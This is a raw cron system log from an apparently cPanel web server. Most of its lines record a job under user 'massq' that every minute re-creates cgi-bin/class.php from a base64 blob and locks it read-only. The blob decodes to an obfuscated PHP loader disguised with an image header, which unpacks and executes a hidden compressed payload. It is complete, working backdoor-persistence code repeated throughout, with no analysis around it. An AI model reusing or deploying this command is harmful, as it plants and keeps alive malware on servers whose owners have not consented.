Nov 10 00:56:01 server CROND[29465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:57:01 server CROND[30314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:57:01 server CROND[30315]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:58:01 server CROND[31139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:59:01 server CROND[32217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:00:02 server CROND[451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:00:02 server CROND[453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:00:02 server CROND[452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:00:02 server CROND[454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:01:01 server CROND[770]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 01:01:01 server CROND[771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:01:01 server run-parts(/etc/cron.hourly)[770]: starting 0anacron
Nov 10 01:01:01 server anacron[783]: Anacron started on 2025-11-10
Nov 10 01:01:01 server anacron[783]: Normal exit (0 jobs run)
Nov 10 01:01:01 server run-parts(/etc/cron.hourly)[785]: finished 0anacron
Nov 10 01:02:01 server CROND[1257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:03:01 server CROND[2060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:04:01 server CROND[2887]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:05:01 server CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:05:01 server CROND[3526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:05:01 server CROND[3527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:05:01 server CROND[3529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 01:06:01 server CROND[4479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:07:01 server CROND[4918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:08:01 server CROND[5731]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:09:01 server CROND[6566]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
